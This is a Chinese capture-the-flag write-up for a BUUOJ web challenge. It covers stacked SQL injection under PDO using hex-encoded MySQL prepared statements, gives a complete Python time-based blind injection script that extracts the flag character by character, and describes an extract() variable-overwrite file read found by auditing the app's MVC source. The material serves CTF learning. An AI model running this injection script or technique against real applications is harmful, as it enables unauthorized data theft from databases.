知识点:16进制+mysql预处理,在PDO环境下的sql进行堆叠注入、mvc框架的简单审计、extract函数变量覆盖
登录没反应,注册功能没有,也没有目录穿越和伪协议读取,那么抓个包吧,可以看到状态码,和一个状态信息,试一下注入,可以看到加了单引号报错,双引号却没有,单引号加分号没错,那么就很明显了,是堆叠注入。
并且还过滤了一大堆关键词,这边就要用16进制+mysql预处理
来进行预处理,预处理我理解就是类似动态调用,那么16进制+mysql预处理
是怎么进行堆叠注入的呢?我们借助MySQL
来看一下。
从sql界面中可以看出,我们用预处理来执行16进制后的sql语句是可以的,那么我们就可以进行堆叠注入了。
(知识点详细了解处:https://xz.aliyun.com/t/3950
)
mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)') |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)
mysql> set @a = 0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)
mysql> prepare smtm_test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> execute smtm_test;
+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
(exp出处:https://www.anquanke.com/post/id/194640#h3-4
)
import requests
import json
import time
def main():
url = 'http://2f40d5e5-47d2-45c6-9f2c-eeafd0786245.node4.buuoj.cn:81/index.php?r=Login/Login'
payloads = "admin';set @a=0x{0};prepare smtm_test from @a;execute smtm_test-- -"
flag = ''
for i in range(27,30):
payload = 'select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),0)'
for j in range(32,127):
datas = {"username":payloads.format(str_to_hex(payload.format(i,j))),"password":"123456"}
data = json.dumps(datas)
times = time.time()
res = requests.post(url=url, data=data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
源码文件:glzjin_wants_a_girl_friend.zip
flag
文件提示我们要通过某些方法访问它。
fun.php中解释了路由的构成。 例如:Login/Index
就是LoginController
下的actionIndex
函数
也就是说r=Login/Index
访问了Controller
文件夹下的文件。
在BaseController.php中看到了一个extract函数,可以用来变量覆盖,且这是一个mvc框架,那么view文件夹下的就是客户端的,$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
include
包含了里面传的一个参数,找找哪边可以利用来传参。
在UserController.php
中可以传参给BaseController.php
中的$viewName
属性,此时已经确定了index.php?r=User/Index
,接下来就去view/userIndex.php
文件看看
在view/userIndex.php
中,有一段把图片转为base64然后输出的代码片段,那么我们可以利用extract
函数覆盖掉$img_base64
为/../flag.php
,这样就可以得到flag的base64加密后的值了。
输入参数:
获得flag: